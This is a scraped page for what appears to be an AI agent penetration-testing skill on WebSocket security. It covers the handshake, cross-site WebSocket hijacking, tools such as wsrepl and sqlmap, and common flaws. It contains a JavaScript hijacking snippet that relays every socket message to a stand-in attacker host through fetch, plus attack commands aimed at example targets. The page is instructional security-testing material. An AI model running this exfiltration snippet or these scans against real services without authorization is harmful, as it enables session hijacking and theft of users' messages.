Loading...
Loading...
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
npx skill4agent add yaklang/hack-skills websocket-securityAI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocolHTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=101Upgrade: websocketapi-secUpgrade: websocketConnection: UpgradeSec-WebSocket-KeySec-WebSocket-AcceptSec-WebSocket-Version: 13HTTP/1.1 101 Switching ProtocolsClient: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, closeOriginconst ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};OriginSameSitepip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.pypython ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txtsqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch| Issue | Why it matters |
|---|---|
Missing | Enables CSWSH from attacker-controlled pages |
Auth token in URL ( | Logs, proxies, Referer leakage, browser history |
| No rate limiting on messages | Abuse, brute force, DoS |
| Cleartext on the wire (MITM) |
| Injection in message bodies | SQLi, command injection, or XSS if content is stored/reflected elsewhere |
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...101wsswsOriginws://api-sec